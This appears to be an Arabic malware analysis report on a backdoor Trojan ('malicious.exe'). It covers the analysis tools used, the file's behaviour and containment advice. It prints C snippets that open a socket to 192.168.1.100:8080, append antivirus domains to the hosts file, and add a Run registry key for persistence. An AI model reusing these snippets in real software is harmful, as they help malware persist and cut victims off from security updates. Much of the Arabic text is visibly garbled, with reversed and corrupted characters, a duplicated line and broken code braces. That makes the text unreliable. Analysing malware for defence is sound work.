
ةراضلا تا&ٮ*حمر*ٮلا ل&ٮلح"ٮ رير"ڡ"ٮ

]دماح لا اللهد*ٮع[ :دادعإ

]27/02/2025[ :خيرا"ٮلا

هو*ٮشملا فلملا ل&ٮلح"ٮ .1

فلملا فصو 1.1
)لا3ٮمك( malicious.exe :فلملا مسا•

)يذ9ٮ8ڡ8ٮ"ٮ فلم( exe. :فلملا عو@ٮ•

MB 2.5 :فلملا م*حح•

2025 ر9ٮار=ٮ8ڡ 25 :ل&ٮدع"ٮلا/ءاش@ٮلإا خيرا"ٮ•

لوه=حم Dى8ٮور"ٮكلإ دير=ٮ Dى8ڡ ق8ڡرم فلمك ه8ڡاش"ٮكا م"ٮ :ردصملا•

ل&ٮلح"ٮلا Qى@ڡ ةمد@ح"ٮسملا تاودلأا 1.2

:فلملا ل1ٮلح"ٮل ة1ٮلا"ٮلا تاودلأا ماد)ح"ٮسا م"ٮ
1.VirusTotal – ة8ڡل"ٮ8حملا تاسور9ٮ8ڡلا ةح8ڡكام تكارحم ر=ٮع فلملا صح8ڡل.

2.Wireshark – عش"ٮ د8ٮع ةك=ٮشلا رورم ةكرح ل9ٮلح"ٮلVفلملا ل9ٮ.

3.Process Monitor (ProcMon) – اهؤاش8ٮإ م"ٮ9ٮ تيلا تا9ٮلمعلا ة=ٮ"ڡارمل.

4.IDA Pro وأ Ghidra – ا9ًٮسكع يذ9ٮ8ڡ8ٮ"ٮلا فلملا دوك ل9ٮلح"ٮل.

5.Windows Event Viewer – عش"ٮ دع=ٮ ما8ط8ٮلا تلا=حس صح8ڡلVفلملا ل9ٮ.

فلملل هو*ٮشملا كولسلا 1.3

:Eىلا"ٮلا كولسلا ة)طحلام م"ٮ ،فلملا ل1ٮ:عش"ٮ د)ٮع
.ة9ٮ8ڡل8حلا Dى8ڡ لمع"ٮ تيلاو backdoor.exe مسا*ٮ ةد&ٮد*ح ة&ٮلمع ءاش@ٮإ•

 لسر9ٮ ه8ٮأ لىع لد9ٮ د"ڡ امم ،8080 ذ@ڡ@ٮملا ر*ٮع Q 192.168.1.100ى*حرا@ح IP ناو@ٮع*ٮ لاص"ٮلاا•
.ة9ٮ=حرا8ح ةه=ح ىلإ تا8ٮاي=ٮ

 C:\Windows\System32\drivers\etc\hosts راسملا Dى8ڡ ما@ط@ٮلا تا@ڡلم لىع ل&ٮدع"ٮلا•

.تاسور9ٮ8ڡلا ةح8ڡكام ع"ڡاوم ىلإ لوصولا ع8ٮم ةلواحمل

 د8ٮع هل9ٮVعش"ٮ نامضل )Registry( ما@ط@ٮلا ل*حس Qى@ڡ Qىئا"ڡل"ٮلا ل&ٮaعش"ٮلا ةمئا"ڡ ىلإ فلم ة@ڡاضإ•
.ما8ط8ٮلا ل9ٮVعش"ٮ ءد=ٮ

ةراضلا ة&ٮ*حمر*ٮلا عو@ٮ د&ٮدح"ٮ .2

ث1ٮح،)(ناFحور"ٮىلإةراضلاة1ٮFحمرFٮلاف1ٮ)ٮص"ٮنكم1ٮ،فش"ٮكملاكولسلالىعءًا)ٮFٮ



:ث1ٮح ،)Trojan Horse( ناFحور"ٮ ىلإ ةراضلا ة1ٮFحمرFٮلا ف1ٮ)ٮص"ٮ نكم1ٮ ،فش"ٮكملا كولسلا لىع ءًا)ٮFٮ
.ةراض تا9ٮلمع ذ9ٮ8ڡ8ٮ"ٮ=ٮ مو"ڡ9ٮ ه8ٮكل Qىعرش جما@ٮر*ٮك ى@ڡ@ح"ٮ&ٮ•

.)Backdoor( ا9ًٮ8ڡل8ح اً=ٮا=ٮ ه8ٮوك لام"ٮحا ىلإ ر9ٮش9ٮ امم د&ٮع*ٮ مدا@ح*ٮ لاًاص"ٮا g@ٮ&ٮ•

.”Dىئا"ڡل"ٮلا ل9ٮVعش"ٮلا ءد=ٮ“ Dى8ڡ ل9ٮ=حس"ٮلا ر=ٮع ما@ط@ٮلا لىع ءا"ڡ*ٮلا لواح&ٮ•

:ىر@حلأا ةراضلا تا&ٮ*حمر*ٮلا عاو@ٮأ لىع ةل3ٮمأ

هدو*حو ل&ٮلدفصولاعو@ٮلا

.دع=ٮ"ٮسم اذه اذل ،ىر8حأ تا8ڡلم ة=ٮاصإ لىع ل9ٮلد د=حو9ٮ لا.ىر8حأ تا8ڡلم ة=ٮاصإ ر=ٮع رش"ٮ8ٮ9ٮ)Virus( سور&ٮ@ڡ

.Dىئا"ڡل"ٮ راش"ٮ8ٮا تلاواحم فاش"ٮكا م"ٮ9ٮ مل.مد8ح"ٮسملا ل8حد"ٮ نود ةك=ٮشلا ر=ٮع رش"ٮ8ٮ9ٮ)Worm( ةدود

.تا8ڡلملل ر9ٮ8ڡش"ٮ تا9ٮلمع لىع ل9ٮلد د=حو9ٮ لا.ة9ٮد8ڡ=ٮ بلاطيو تا8ڡلملا ر9ٮ8ڡش"ٮ=ٮ مو"ڡ9ٮ)Ransomware( ة&ٮد@ڡ جما@ٮر*ٮ

.زاه*حلا لىع دع*ٮ نع ةرط&ٮسلل مد@ح"ٮس&ٮ )Q )Backdoor Trojanى@ڡل@ح با*ٮ*ٮ نا*حور"ٮ وه فلملا :جا"ٮ8ٮ"ٮسلاا

ةيردصملا ةر@ڡ&ٮشلا ل&ٮلح"ٮ .3

ةهو*ٮشملا تلااص"ٮلاا ل&ٮلح"ٮ 3.1

:Dىلا"ٮلا دوكلا ا8ٮد=حو ،IDA Pro ماد8ح"ٮسا=ٮ ة9ٮسكعلا ةر8ڡ9ٮشلا صح8ڡ د8ٮع

#include <winsock2.h<

void connectToServer)( }

    SOCKET s;

    struct sockaddr_in server;

    

    WSADATA wsa;

    WSAStartup(MAKEWORD(2,2), &wsa);

    

    s = socket(AF_INET, SOCK_STREAM, 0);

    server.sin_addr.s_addr = inet_addr("192.168.1.100");

    server.sin_family = AF_INET;

    server.sin_port = htons(8080);

    

    connect(s, (struct sockaddr *)&server, sizeof(server));

    

    send(s, "Connected", strlen("Connected"), 0);

{



:ل9ٮلح"ٮلا

.8080 ذ8ڡ8ٮملا ر=ٮع )Q )192.168.1.100ى*حرا@ح مدا@ح عم لاص"ٮا ءاش8ٮإ=ٮ دوكلا اذه مو"ڡ9ٮ•

.قار"ٮ8حلاا حا=ح8ٮ دكؤ"ٮ ةلاسر لاسرإ م"ٮ9ٮ ،لاص"ٮلاا حا=ح8ٮ د8ٮع•

ما@ط@ٮلا تا@ڡلم لىع ل&ٮدع"ٮلا ل&ٮلح"ٮ 3.2

#include <stdio.h<

void modifyHostsFile)( }

    FILE *file = fopen("C:\\Windows\\System32\\drivers\\etc\\hosts", "a");

    if (file) }

        fprintf(file, "\n127.0.0.1 www.antivirus.com\n");

        fclose(file);

    {

{

:ل9ٮلح"ٮلا

.تاسور9ٮ8ڡلا ةح8ڡكام ع"ڡاوم ىلإ لوصولا ب=ححل hosts فلم ل&ٮدع"ٮ*ٮ دوكلا مو"ڡ9ٮ•

Qىئا"ڡل"ٮلا ل&ٮaعش"ٮلل جما@ٮر*ٮلا ل&ٮ*حس"ٮ 3.3

#include <windows.h<

void addToStartup)( }

    HKEY hKey;

    RegOpenKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 

&hKey);

    RegSetValueEx(hKey, "Malware", 0, REG_SZ, (BYTE*)"C:\\malware.exe", strlen("C:\

\malware.exe") + 1);

    RegCloseKey(hKey);

{

:ل9ٮلح"ٮلا
 ل9ٮVعش"ٮ د8ٮع ا9ًٮئا"ڡل"ٮ لمع9ٮل )Registry( ما8ط8ٮلا ل=حس ىلإ جما8ٮر=ٮلا ة8ڡاضإ=ٮ دوكلا اذه مو"ڡ9ٮ•

.ر"ٮو9ٮ=ٮمكلا

ة&ٮامحلاو ف&ٮ@ڡ@ح"ٮلا قرط .4



ةك*ٮشلا ة&ٮامحل ةل*حاعلا تاوط@حلا 4.1
.ةك=ٮشلا نم ارًو@ڡ باصملا زاه*حلا لزع.1

.Process Explorer وأ Task Manager ماد8ح"ٮسا=ٮ ةراضلا ة&ٮلمعلا فذح.2

.ة3ٮدحملا تاسور9ٮ8ڡلا ةح8ڡكام جمار=ٮ ماد8ح"ٮسا=ٮ ةراضلا جمار*ٮلا ةلازإو صح@ڡ.3

.hosts فلمو Registry ل3ٮم ةررض"ٮملا ما@ط@ٮلا تادادعإ ني&ٮع"ٮ ةداعإ.4

.Dىع9ٮ=ٮط ر9ٮ8ع كولس يأ فاش"ٮكلا )Event Viewer( ثادحلأا ل*حس ل&ٮلح"ٮ.5

ة&ٮل*ٮ"ڡ"ٮسملا تاد&ٮده"ٮلا نم ة&ٮا"ڡولا 4.2

Qى@ٮور"ٮكللإا دير*ٮلا نمأ ن&ٮسح"ٮ .أ
.ةهو=ٮشملا exe. تا"ڡ8ڡرم ر8طح•

.ةراضلا ط=ٮاورلا صح8ڡو Qىئاوشعلا دير*ٮلا نم ة&ٮامحلا ل9ٮع8ڡ"ٮ•

جمار*ٮلاو ما@ط@ٮلا ث&ٮدح"ٮ .ب

.تاسور9ٮ8ڡلا ةح8ڡكام جمار=ٮو ل9ٮVعش"ٮلا ما8ط8ٮل ة&ٮ@ٮملأا تا�ٮ&ٮدح"ٮلا ر@حآ ت9ٮ=ٮث"ٮ•

.Excel وأ Word تاد8ٮ"ٮسم نم ةراضلا تا9ٮ=حمر=ٮلا ل9ٮVعش"ٮ ع8ٮمل Office وركام ل9ٮطع"ٮ•

ةك*ٮشلا نمأ ةيو"ڡ"ٮ .ج

.اه=ٮ حرصملا ر9ٮ8ع تلااص"ٮلاا ع8ٮمل )Firewall( يرا@ٮلا راد*حلا ل&ٮع@ڡ"ٮ•

.ةهو=ٮشملا ةك=ٮشلا ةكرح ة=ٮ"ڡارمل )IDS( للس"ٮلا فشك ما@ط@ٮ ماد8ح"ٮسا•

ن&ٮ@ڡ@طوملا بيرد"ٮ .د

.Dى8ٮور"ٮكللإا د9ٮص"ٮلاو ة9ٮعام"ٮ=حلاا ةسد8ٮهلا لوح ةيوعو"ٮ تارود م9ٮد"ڡ"ٮ•

.ة"ڡو3ٮوم ر9ٮ8ع ط=ٮاور وأ تا"ڡ8ڡرم ح"ٮ8ڡ مدع•

ةصلا@حلا .5
 لاص"ٮلال مد8ح"ٮس9ٮ )Q )Backdoor Trojanى@ڡل@ح با*ٮ*ٮ نا*حور"ٮ وه هو=ٮشملا فلملا نأ د9ٮدح"ٮ م"ٮ•

.زاه=حلا Dى8ڡ مكح"ٮلاو Dى=حرا8ح ر8ڡر9ٮس=ٮ

 ما8ط8ٮلا تا8ڡلم ل9ٮدع"ٮ لواح"ٮ ة9ٮ=حمر=ٮ تام9ٮلع"ٮ فاش"ٮكا م"ٮو ،ةيردصملا ةر@ڡ&ٮشلا ل&ٮلح"ٮ م"ٮ•
.Dىئا"ڡل"ٮلا ل9ٮVعش"ٮلا ىلإ اهس8ڡ8ٮ ة8ڡاضإو

.ناملأا زيزع"ٮل دملأا ةليوط تا9ٮ=ح9ٮ"ٮار"ٮسا ىلإ ة8ڡاضلإا=ٮ د&ٮده"ٮلا فذحل ةل*حاع لولح حار"ٮ"ڡا م"ٮ•

ً.لا*ٮ"ڡ"ٮسم تام*حهلا هذه ع@ٮمل ن&ٮمد@ح"ٮسملا ف&ٮ"ڡث"ٮو ،ةم@ط@ٮلأا ث&ٮدح"ٮ ،ةك*ٮشلا نمأ زيزع"ٮ ب*ح&ٮ :ة&ٮئاه@ٮلا ة9ٮصو"ٮلا
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